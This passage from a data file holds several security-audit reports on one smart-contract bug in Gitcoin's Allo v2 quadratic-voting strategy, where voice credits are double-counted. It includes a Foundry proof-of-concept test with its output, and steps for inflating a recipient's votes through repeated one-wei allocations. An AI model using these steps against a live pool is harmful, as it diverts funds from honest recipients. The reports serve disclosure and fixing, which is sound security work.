wrong and recipients would be given much more votes than they were allocated. This would give an unfair advantage to some recipients and allow allocators to maliciously increase their voting power.\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L517-L530\n```solidity\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nChange `_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;` to `_allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/573.md"}} +{"title":"Double-counting past voice credits permits allocators to manipulate distribution of funds in quadratic voting allocation strategies","severity":"medium","body":"Dandy Arctic Buffalo\n\nhigh\n\n# Double-counting past voice credits permits allocators to manipulate distribution of funds in quadratic voting allocation strategies\nVoice credits, which translate to votes for eligible fund recipients, are double-counted when an allocator calls the `allocate()` function repeatedly for the same recipient. This allows inflating the vote count for selected recipient(s) to skew the distribution of funds.\n\n## Vulnerability Detail\nThe [QVBaseStrategy.sol](https://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/qv-base/QVBaseStrategy.sol) contract uses designated \"allocator\" accounts to distribute an allotment of \"voice credits\" among candidates, those credits translate to votes via a square root calculation, and the proportion of votes per recipient determines the share of funds that each eligible (\"accepted\") recipient receives from the funding pool.\n\nPer the quadratic voting formula, the votes allocated to a recipient should be $\\sqrt{vc}$ where `vc` is the number of voice credits allocated to that recipient. For a single call to `allocate()`, that holds true. But, if an allocator calls `allocate()` repeatedly for the same recipient, it is not true. Instead, the recipient gets $\\sqrt{vc + vc'}$ where `vc'` is the number of voice credits previously allocated by the same allocator to the same recipient. So, repeated calls to `allocate()` can effectively double the previous credits on each call.\n\n**Proof of Concept**\nModification of [this test function](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/test/foundry/strategies/QVBaseStrategy.t.sol#L670) that allocates 7 voice credits, one at a time:\n```solidity\n function test_allocate() public virtual {\n address recipientId = __register_accept_recipient();\n address allocator = randomAddress();\n\n vm.startPrank(pool_manager2());\n vm.warp(allocationStartTime + 10);\n\n bytes memory allocateData = __generateAllocation(recipientId, 1);\n vm.stopPrank();\n\n vm.startPrank(address(allo()));\n for (uint i = 1; i <= 7; i++) {\n qvStrategy().allocate(allocateData, allocator);\n\n QVBaseStrategy.Recipient memory r = qvStrategy().getRecipient(recipientId);\n console.log(r.totalVotesReceived);\n }\n }\n```\n`forge test --match-path *QVBaseStrategy.t.sol --match-test test_allocate -vv`\n```solidity\nRunning 1 test for test/foundry/strategies/QVBaseStrategy.t.sol:QVBaseStrategyTest\n[PASS] test_allocate() (gas: 420592)\nLogs:\n 1000000000\n 1414213562\n 2000000000\n 2828427124\n 4000000000\n 5656854249\n 8000000000\n```\n(The vote values are scaled by 10^9 because the [voice credits get scaled up by 10^18](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L522) for the square root calculation.) \nAfter allocating 7 voice credits the number of votes received is $\\sqrt{1+63} * 10^9$ but it should be $\\sqrt{7} * 10^9$ as found after adding the fix that is recommended below:\n```solidity\nRunning 1 test for test/foundry/strategies/QVBaseStrategy.t.sol:QVBaseStrategyTest\n[PASS] test_allocate() (gas: 419588)\nLogs:\n 1000000000\n 1414213562\n 1732050807\n 2000000000\n 2236067977\n 2449489742\n 2645751311\n```\n\n## Impact\nAn allocator can inflate their vote by allocating voice credits individually and unduly influence the payout distribution to recipients. A sybil attack where the attacker uses 2 accounts to act as an accepted recipient and as an allocator (or collusion between an accepted recipient and allocator), can swing the vote and payout distribution in favor of the attacker(s), and thereby steal funds from all other accepted recipients.\n\n## Code Snippet\n[QVBaseStrategy._qv_allocate() function](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L499-L534) double-counts voice credits previously allocated to same recipient:\n```solidity\n/// @notice Allocate voice credits to a recipient\n /// @dev This can only be called during active allocation period\n /// @param _allocator The allocator details\n /// @param _recipient The recipient details\n /// @param _recipientId The ID of the recipient\n /// @param _voiceCreditsToAllocate The voice credits to allocate to the recipient\n /// @param _sender The sender of the transaction\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nChange [this line of QVBaseStrategy._qv_allocate()](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L529) function from\n```solidity\n_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n```\nto\n```solidity\n_allocator.voiceCreditsCastToRecipient[_recipientId] += _voiceCreditsToAllocate;\n```\nAlternatively, add `totalCredits -= _voiceCreditsToAllocate;` prior to that to parallel the adjustment made to `voteResult` that prevents double-counting past votes.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/570.md"}} +{"title":"Math error in `_qv_allocate`","severity":"medium","body":"Rhythmic Marigold Jay\n\nhigh\n\n# Math error in `_qv_allocate`\nMath error in `_qv_allocate`, `_allocator.voiceCreditsCastToRecipient[_recipientId` seems wrong calculated.\n## Vulnerability Detail\n```solidity \n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n @> uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n@> uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n@> _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n \n \n```\nSeems that ` _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;` logic is wrong.\nIt should be\n` _allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;`\nbecause in previous calculation , \n```solidity\n uint256 totalCredits = _voiceCreditsToAllocate + _allocator.voiceCreditsCastToRecipient[_recipientId]\n ``` \nthe origin logic double add `_allocator.voiceCreditsCastToRecipient[_recipientId]`\n \n\n\n## Impact \nDue to the error value of `creditsCastToRecipient` in `_qv_allocate` , if `_qv_allocate` is allocated twice or more times, he will get a much higher voteResults than intend , and get more payouts. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n## Tool used\n\nManual Review\n\n## Recommendation\nchange to \n\n` _allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/548.md"}} +{"title":"Error in counting the `allocator.voiceCreditsCastToRecipient` causing the `recipient` to have more votes and get the majority of the pool","severity":"medium","body":"Brief Mahogany Tiger\n\nhigh\n\n# Error in counting the `allocator.voiceCreditsCastToRecipient` causing the `recipient` to have more votes and get the majority of the pool\n## Summary\n\nThere is an error counting in the `allocator.voiceCreditsCastToRecipient` variable in the [QVBaseStrategy::_qv_allocate()] causing that an allocator to assign more votes.\n\n## Vulnerability Detail\n\nThe `allocator` can cast votes using the [QVBaseStrategy::_qv_allocate()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506C14-L506C26) function. The problem is that there is an error in the counting [voiceCreditsCastToRecipient](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529C9-L529C78) variable in the code line 529:\n\n```solidity\nFile: QVBaseStrategy.sol\n506: function _qv_allocate(\n507: Allocator storage _allocator,\n508: Recipient storage _recipient,\n509: address _recipientId,\n510: uint256 _voiceCreditsToAllocate,\n511: address _sender\n512: ) internal onlyActiveAllocation {\n513: // check the `_voiceCreditsToAllocate` is > 0\n514: if (_voiceCreditsToAllocate == 0) revert INVALID();\n515: \n516: // get the previous values\n517: uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n518: uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n519: \n520: // get the total credits and calculate the vote result\n521: uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n522: uint256 voteResult = _sqrt(totalCredits * 1e18);\n523: \n524: // update the values\n525: voteResult -= votesCastToRecipient;\n526: totalRecipientVotes += voteResult;\n527: _recipient.totalVotesReceived += voteResult;\n528: \n529: _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n530: _allocator.votesCastToRecipient[_recipientId] += voteResult;\n531: \n532: // emit the event with the vote results\n533: emit Allocated(_recipientId, voteResult, _sender);\n534: }\n```\n\nPlease see the next scenario:\n\n`AllocatorC` cast 2 voice credits to the `recipientB`.\n\n1. `AllocatorC` allocates `1 voice credit` to the `recipientB`. The `creditsCastToRecipient` is zero because is the first time the `allocatorC` cast votes to the `recipientB` so `_allocator.voiceCreditsCastToRecipient[_recipientId]` is zero. [Code line 517](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L517C9-L517C95).\n2. Now, the `_allocator.voiceCreditsCastToRecipient[_recipientId]` [code line 529 increases](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529) to 1 voice credit.\n3. `AllocatorC` allocates another `1 voice credit` to the `recipientB`. The `creditsCastToRecipient` now is `1 voice credit` because there is one credit casted in the step 2. So now totalCredits will be `2` because `_voiceCreditsToAllocate` is 1 and `creditsCastToRecipient` is 1, in the [code line 521](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L521).\n4. Now the variable `_allocator.voiceCreditsCastToRecipient[_recipientId]` will be `3` in the [code line 529](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529). The new `2` sum from the `step 3` and the casted `one` allocator.voiceCreditsCastToRecipient from the first step, **that is incorrect because the current voice credits used by the `AllocatorC` to the `recipientB` is `2` NOT `3`**.\n\nAt the end, the `allocatorC` uses only 2 voice credits but the `recipientB` has 3 `voiceCreditsCastToRecipient` which is incorrect because `recipientB` should have only `2 voice casted credits`.\n\n## Impact\n\nAn allocator can assign more votes to a recipient causing that the recipient to recive a bigger payout. The [calculation of the voteResult](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L522) is based on the allocator's casted credits so the allocator can cast one by one credit to the same recipient exponentiating the emited voice credits to the recipient. Malicious Allocator and recipient can collude to get the majority of the pool.\n\n\n## Code Snippet\n\n- [QVBaseStrategy::_qv_allocate()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506C14-L506C26)\n- [QVBaseStrategy::_getPayout()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L559C14-L559C24)\n\n## Tool used\n\nManual review\n\n## Recommendation\n\nModify the [code line 529](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529) so the casted credits to a recipient are not counted multiple times:\n\n```diff\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n-- _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n++ _allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/534.md"}} +{"title":"Allocation of Voice Credits Implementation is done Wrongly","severity":"medium","body":"Sleepy Shadow Horse\n\nhigh\n\n# Allocation of Voice Credits Implementation is done Wrongly\nMistake in allocation of Voice Credits at [L529](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529) will allow excessive allocation from consecutive allocations.\n## Vulnerability Detail\n```solidity\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n>>>>> _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n\n```\nfrom the arrow in the code above the correct assignment to update recipient voice credits should be with the incoming \"_voiceCreditsToAllocate\" parameter. \"totalCredits\" was used, this would have been correct if \"=\" was used instead of \"+=\" as \"totalCredits\" from it first declaration shows that it has been been updated already with the incoming \"_voiceCreditsToAllocate\" parameter i.e \n`uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;`\nso using \"+=\" for the update can be simply broken down as \n`_allocator.voiceCreditsCastToRecipient[_recipientId] = creditsCastToRecipient + _voiceCreditsToAllocate + creditsCastToRecipient;`\ndoubling the value of voiceCreditsCastToRecipient in a linear homogeneous recurrence way instead of a simple addition at each update i.e \n`y1, 2y1+y2, 4y1+2y2+y3, 8y1+4y2+2y3+y4, ...,(2nāˆ’1y1+2nāˆ’2y2+2nāˆ’3y3+...+ynā€‹)`\n\"y\" represents the _voice Credits allocation at each allocation.\nImportant to note from the documentation description of [allocation functionality](https://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/qv-base/README.md)\n\"* Voice credits are allocated based on a quadratic voting algorithm.\" \nthe Voice credits update in the code is a linear homogeneous recurrence and not quadratic but sponsor has confirmed that quadratic in this context is simply the relationship between the square and square root interaction between Voice credits and Votes.\n## Impact\nThe intended functionality of the allocation of Voice Credits would be affected & the allocation of voteResult to Recipient would also be affected in extension as it is calculated using the value of Voice Credits. Recipients that has been allocated in little fragments of Voice Credits would have excessive Voice Credits and voteResult due to this error.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n## Tool used\nFoundry,\nManual Review\n\n## Recommendation\n```solidity\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n+++ _allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;\n--- _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n\n```\nas seen above \"=\" should be used instead of \"+=\" , another way is `_allocator.voiceCreditsCastToRecipient[_recipientId] += _voiceCreditsToAllocate;` \nthough more readable it would be less gas efficient.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/509.md"}} +{"title":"The calculation is wrong in `_qv_allocate` wtih `_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;`","severity":"medium","body":"Shaggy Obsidian Rooster\n\nhigh\n\n# The calculation is wrong in `_qv_allocate` wtih `_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;`\nThe calculation is wrong in `_qv_allocate`, `QVBaseStrategy.sol` wtih `_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;`, because it is summing the prize twice\n## Vulnerability Detail\nWhen you are allocating you set a VoiceCreditsToAllocate, they are set in `_allocator.voiceCreditsCastToRecipient`, but if you use the function twice it would happen this scenario:\nFirst time: \n_voiceCreditsToAllocate = 1000\ncreditsCastToRecipient = 0 \ntotalCredits = 0\n_allocator.voiceCreditsCastToRecipient = 1000\nThis is all correct, but in the second time\nSecond time:\nwe are setting the new credit to be 500\n_voiceCreditsToAllocate = 500;\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L510\n\nthis time the creditsCastToRecipient will be 1000, because the last time we entered the `_allocator.voiceCreditsCastToRecipient[_recipientId]` was set to 1000:\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L517\n\nNow, we are calculating the totalCredits that will equal to = 1500;\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L521\n\nAnd when it is updating the `_allocator.voiceCreditsCastToRecipient[_recipientId]` it is adding the new totalCredits, and it will equals to \n= 2500\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n\nBut in reality, it should be equal to = 1500, because the credits we sent we only 1500, not 2500\n\nThis can be done multiple time e.g. first time you are sending 5000 credits, and after that on the second time you are sending only 1 credit and it will be added 5000 as well, you can do this 3 time, 4 time etc. \n\n## Impact\nGriefing with the system, unvalidated data, getting more voiceCredits than user should\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n\n## Tool used\nManual\nManual Review\n\n## Recommendation\n - _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n + _allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/489.md"}} +{"title":"Allocator can significantly increase the number of votes of a certain recipient by calling Allo.allocate/batchAllocate multiple times","severity":"medium","body":"Furry Cider Panda\n\nhigh\n\n# Allocator can significantly increase the number of votes of a certain recipient by calling Allo.allocate/batchAllocate multiple times\n\nIf the allocator only votes once for a certain recipient, the current implementation of [[QVBaseStrategy._qv_allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L517-L530)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L517-L530) is fine. However, if the allocator votes multiple times for a certain recipient, the total number of votes for the recipient can be greatly increased. These increased votes are not equal to the number that should be increased, but far exceed it.\n\n## Vulnerability Detail\n\n```solidity\nFile: contracts\\strategies\\qv-base\\QVBaseStrategy.sol\n506: function _qv_allocate(\n507: Allocator storage _allocator,\n508: Recipient storage _recipient,\n509: address _recipientId,\n510: uint256 _voiceCreditsToAllocate,\n511: address _sender\n512: ) internal onlyActiveAllocation {\n513: // check the `_voiceCreditsToAllocate` is > 0\n514: if (_voiceCreditsToAllocate == 0) revert INVALID();\n515: \n516: // get the previous values\n517:-> uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n518: uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n519: \n520: // get the total credits and calculate the vote result\n521:-> uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n522: uint256 voteResult = _sqrt(totalCredits * 1e18);\n523: \n524: // update the values\n525: voteResult -= votesCastToRecipient;\n526: totalRecipientVotes += voteResult;\n527: _recipient.totalVotesReceived += voteResult;\n528: \n529:-> _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n530: _allocator.votesCastToRecipient[_recipientId] += voteResult;\n531: \n532: // emit the event with the vote results\n533: emit Allocated(_recipientId, voteResult, _sender);\n534: }\n```\n\nL517, `creditsCastToRecipient` is the previous credit, which is read from `_allocator.voiceCreditsCastToRecipient[_recipientId]`.\n\nL521, `totalCredits` is equal to the previous credit plus the credits to be allocated.\n\nL529, accumulate `totalCredits` to `_allocator.voiceCreditsCastToRecipient[_recipientId]`. The problem is here, it should be `=` instead of `+=`. **This resulted in the previous credit being increased twice**.\n\nConsider the following scenario:\n\nAs a allocator, bob wants to vote for one recipient(B).\n\n1. bob votes for B with 9 VoiceCredits by calling `Allo.allocate`:\n \n ```flow\n creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[B] = 0\n totalCredits = 9 + 0 = 9\n B.totalVotesReceived = 3\n _allocator.voiceCreditsCastToRecipient[B] = 9(9+0)\n ```\n \n2. bob votes for B with 16 VoiceCredits by calling `Allo.allocate`:\n \n ```flow\n creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[B] = 9\n totalCredits = 16 + 9 = 25\n B.totalVotesReceived = 5\n _allocator.voiceCreditsCastToRecipient[B] = 34(9 + 25) //normally this should be 25, but now there are 9 more.\n ```\n \n3. bob votes for B with 15 VoiceCredits by calling `Allo.allocate`:\n \n ```flow\n creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[B] = 34\n totalCredits = 15 + 34 = 49\n B.totalVotesReceived = 7\n _allocator.voiceCreditsCastToRecipient[B] = 64(49 + 15)\n ```\n \n\nWe can see that 7 votes should consume 49 credits, but bob only used `9 + 16 + 15 = 40` credits. So how to maximize `B.totalVotesReceived`? \nSuppose `maxVoiceCreditsPerAllocator` is 100e18,\n1. bob votes for B with 99e18 VoiceCredits by calling `Allo.allocate`.\n2. bob votes for B with 1wei VoiceCredits by calling `Allo.allocate` as many times as possible. \n\nThe more times `Allo.allocate` is called, the larger `B.totalVotesReceived` becomes. The greater the number of votes, the more funds will be distributed.\n\n## Impact\n\nAllocator can significantly increase the number of votes of a certain recipient by calling `Allo.allocate`/`batchAllocate` multiple times, causing the recipient to receive more funds.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L517-L530\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n```fix\nFile: contracts\\strategies\\qv-base\\QVBaseStrategy.sol\n506: function _qv_allocate(\n......\n529:- _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n529:+ _allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;\n530: _allocator.votesCastToRecipient[_recipientId] += voteResult;\n......\n534: }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/469.md"}} +{"title":"An allocator's `voiceCreditsCastToRecipient` may get calculated in a wrong way inside `QVBaseStrategy._qv_allocate()`","severity":"medium","body":"Future Sangria Giraffe\n\nhigh\n\n# An allocator's `voiceCreditsCastToRecipient` may get calculated in a wrong way inside `QVBaseStrategy._qv_allocate()`\n\nThere is an issue inside the function `QVBaseStrategy._qv_allocate()` which causes the value of `_allocator.voiceCreditsCastToRecipient[_recipientId]` to be calculated in a wrong way. Due to this issue funds can be lost, because a recipient's `totalVotesReceived` may end up being calculated too high.\n\n## Vulnerability Detail\n\nInside the `QVBaseStrategy._qv_allocate()` function `totalCredits` is added to `_allocator.voiceCreditsCastToRecipient[_recipientId]` (line 529 QVBaseStrategy.sol). This is an issue because only the new voice credits `_voiceCreditsToAllocate` should be added to `_allocator.voiceCreditsCastToRecipient[_recipientId]`.\n\nExample:\n\n1. `_allocator.voiceCreditsCastToRecipient[_recipientId]` has a value of 10.\n1. `QVBaseStrategy._qv_allocate()` gets called with `_voiceCreditsToAllocate` with a value of 5.\n1. The calculation on line 529 now calculates the new value for `_allocator.voiceCreditsCastToRecipient[_recipientId]` to be 25, but the correct value would be 15.\n\nAs a result, the value of `_allocator.voiceCreditsCastToRecipient[_recipientId]` may end up being higher than it should be after `QVBaseStrategy._qv_allocate()` gets called multiple times by the same allocator for the same recipient. Note: In a unit test where the value of `_allocator.voiceCreditsCastToRecipient[_recipientId]` is initially 0, the issue doesn't occur immediately. Only after `QVBaseStrategy._qv_allocate()` is called a second time with the same allocator and the same recipient the issue arises.\n\nAs a result of this issue, if `QVBaseStrategy._qv_allocate()` gets called multiple times by the same allocator for the same recipient, the recipient will end up receiving more votes than they should receive, because `voteResult` is added to `_recipient.totalVotesReceived` (line 527 QVBaseStrategy.sol), and `voteResult` is higher than it should be since it is calculated to be the square root of the sum of `_allocator.voiceCreditsCastToRecipient[_recipientId]` and `_voiceCreditsToAllocate` (line 517-522 QVBaseStrategy.sol), where `_allocator.voiceCreditsCastToRecipient[_recipientId]` may be higher than it should be due to the issue described above.\n\n## Impact\n\nLoss of funds:\n\nWhen the payout for the recipient is calculated via `QVBaseStrategy._getPayout()`, the payout `amount` will get calculated higher than it should be since it is based on `recipient.totalVotesReceived` (line 571 QVBaseStrategy.sol), and `recipient.totalVotesReceived` may have a higher value than it should have due to the issue described above in the \"Vulnerability Detail\" section. As a result, there will be more tokens transferred to the recipient than they should receive, since the `payout.amount` may have been calculated too high (line 448-456 QVBaseStrategy.sol).\n\n## Code 